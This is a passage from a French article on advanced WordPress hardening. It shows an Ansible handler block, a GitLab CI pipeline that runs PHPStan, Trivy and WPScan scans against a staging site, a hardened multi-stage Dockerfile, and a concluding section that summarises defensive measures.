          - "{{ wp_path }}/wp-content/themes"
          - "{{ wp_path }}/wp-content/mu-plugins"

  handlers:
    - name: Restart PHP-FPM
      systemd:
        name: "php{{ php_version }}-fpm"
        state: restarted

    - name: Restart auditd
      systemd:
        name: auditd
        state: restarted

6.2 Pipeline CI/CD avec Scans de Securite

# .gitlab-ci.yml - Pipeline CI/CD securise pour WordPress
stages:
  - build
  - security-scan
  - test
  - deploy

build-wordpress-image:
  stage: build
  script:
    - docker build -t wordpress-hardened:$CI_COMMIT_SHA .

security-scan:
  stage: security-scan
  parallel:
    matrix:
      - SCAN_TYPE: [sast, container, wpscan]
  script:
    - |
      case $SCAN_TYPE in
        sast)
          # Analyse statique du code PHP
          docker run --rm -v $PWD:/app phpstan/phpstan \
            analyse /app/wp-content --level=5
          ;;
        container)
          # Scan de vulnerabilites de l'image Docker
          trivy image --severity HIGH,CRITICAL \
            --exit-code 1 wordpress-hardened:$CI_COMMIT_SHA
          ;;
        wpscan)
          # Scan WPScan sur l'environnement de staging
          wpscan --url https://staging.example.com \
            --api-token $WPSCAN_API_TOKEN \
            --enumerate vp,vt \
            --format json > wpscan-report.json
          ;;
      esac
  artifacts:
    reports:
      security: wpscan-report.json

deploy-production:
  stage: deploy
  script:
    - docker push registry.example.com/wordpress-hardened:$CI_COMMIT_SHA
    - kubectl set image deployment/wordpress \
        wordpress=registry.example.com/wordpress-hardened:$CI_COMMIT_SHA
  only:
    - main
  when: manual  # Deploiement manuel apres validation

6.3 Dockerfile Securise pour WordPress

# Dockerfile - WordPress Hardened
# Multi-stage build pour minimiser la surface d'attaque

# Stage 1 : Build
FROM php:8.2-fpm-alpine AS builder
RUN apk add --no-cache curl unzip
WORKDIR /build

# Telecharger WordPress et verifier l'integrite
ARG WP_VERSION=6.5
RUN curl -o wordpress.tar.gz \
  "https://wordpress.org/wordpress-${WP_VERSION}.tar.gz" && \
  curl -o wordpress.tar.gz.sha1 \
  "https://wordpress.org/wordpress-${WP_VERSION}.tar.gz.sha1" && \
  echo "$(cat wordpress.tar.gz.sha1) wordpress.tar.gz" | sha1sum -c - && \
  tar xzf wordpress.tar.gz

# Copier les plugins et themes valides
COPY wp-content/plugins/ /build/wordpress/wp-content/plugins/
COPY wp-content/themes/ /build/wordpress/wp-content/themes/

# Supprimer les fichiers inutiles
RUN rm -f /build/wordpress/readme.html \
  /build/wordpress/license.txt \
  /build/wordpress/wp-config-sample.php \
  /build/wordpress/xmlrpc.php

# Stage 2 : Production
FROM php:8.2-fpm-alpine AS production

# Installer uniquement les extensions PHP necessaires
RUN docker-php-ext-install mysqli pdo_mysql opcache

# Copier la configuration PHP securisee
COPY php-security.ini /usr/local/etc/php/conf.d/99-security.ini

# Creer un utilisateur non-root
RUN addgroup -g 1001 wpuser && \
    adduser -u 1001 -G wpuser -s /bin/false -D wpuser

# Copier WordPress depuis le stage builder
COPY --from=builder --chown=wpuser:wpuser /build/wordpress /var/www/html

# Permissions strictes
RUN find /var/www/html -type d -exec chmod 555 {} \; && \
    find /var/www/html -type f -exec chmod 444 {} \; && \
    mkdir -p /var/www/html/wp-content/uploads && \
    chown wpuser:wpuser /var/www/html/wp-content/uploads && \
    chmod 755 /var/www/html/wp-content/uploads

# Healthcheck
HEALTHCHECK --interval=30s --timeout=3s --retries=3 \
  CMD php-fpm-healthcheck || exit 1

USER wpuser
EXPOSE 9000

7. Checklist Durcissement Niveau 3 (Expert)

Cette checklist de niveau expert est cumulative : elle s'ajoute aux points des niveaux 1 (debutant, points 1-25) et 2 (intermediaire, points 26-45). Les points suivants representent les mesures de hardening les plus avancees, destinees aux environnements a haute securite.

8. Conclusion

La securisation de WordPress au niveau expert depasse largement le cadre des plugins de securite et des bonnes pratiques de base. Elle necessite une vision holistique integrant la securite offensive (comprendre les techniques Red Team pour mieux se defendre), l'architecture Zero Trust (ne faire confiance a aucun composant), et l'automatisation (garantir la coherence et la reproductibilite du hardening).

Les techniques offensives presentees dans cet article -- supply chain attacks, POP chains PHP, Phar deserialization, pivot reseau -- illustrent la sophistication croissante des menaces ciblant l'ecosysteme WordPress. La reponse defensive doit etre a la hauteur : infrastructure immuable, micro-segmentation, monitoring avance avec Wazuh et Falco, pipelines CI/CD securises, et exercices Red Team reguliers.

La securite est un processus continu, pas un etat. Chaque nouvelle version de WordPress, chaque nouveau plugin, chaque modification d'architecture introduit potentiellement de nouveaux vecteurs d'attaque. La clef reside dans l'adoption d'une culture de securite qui integre la menace dans chaque decision technique et operationnelle.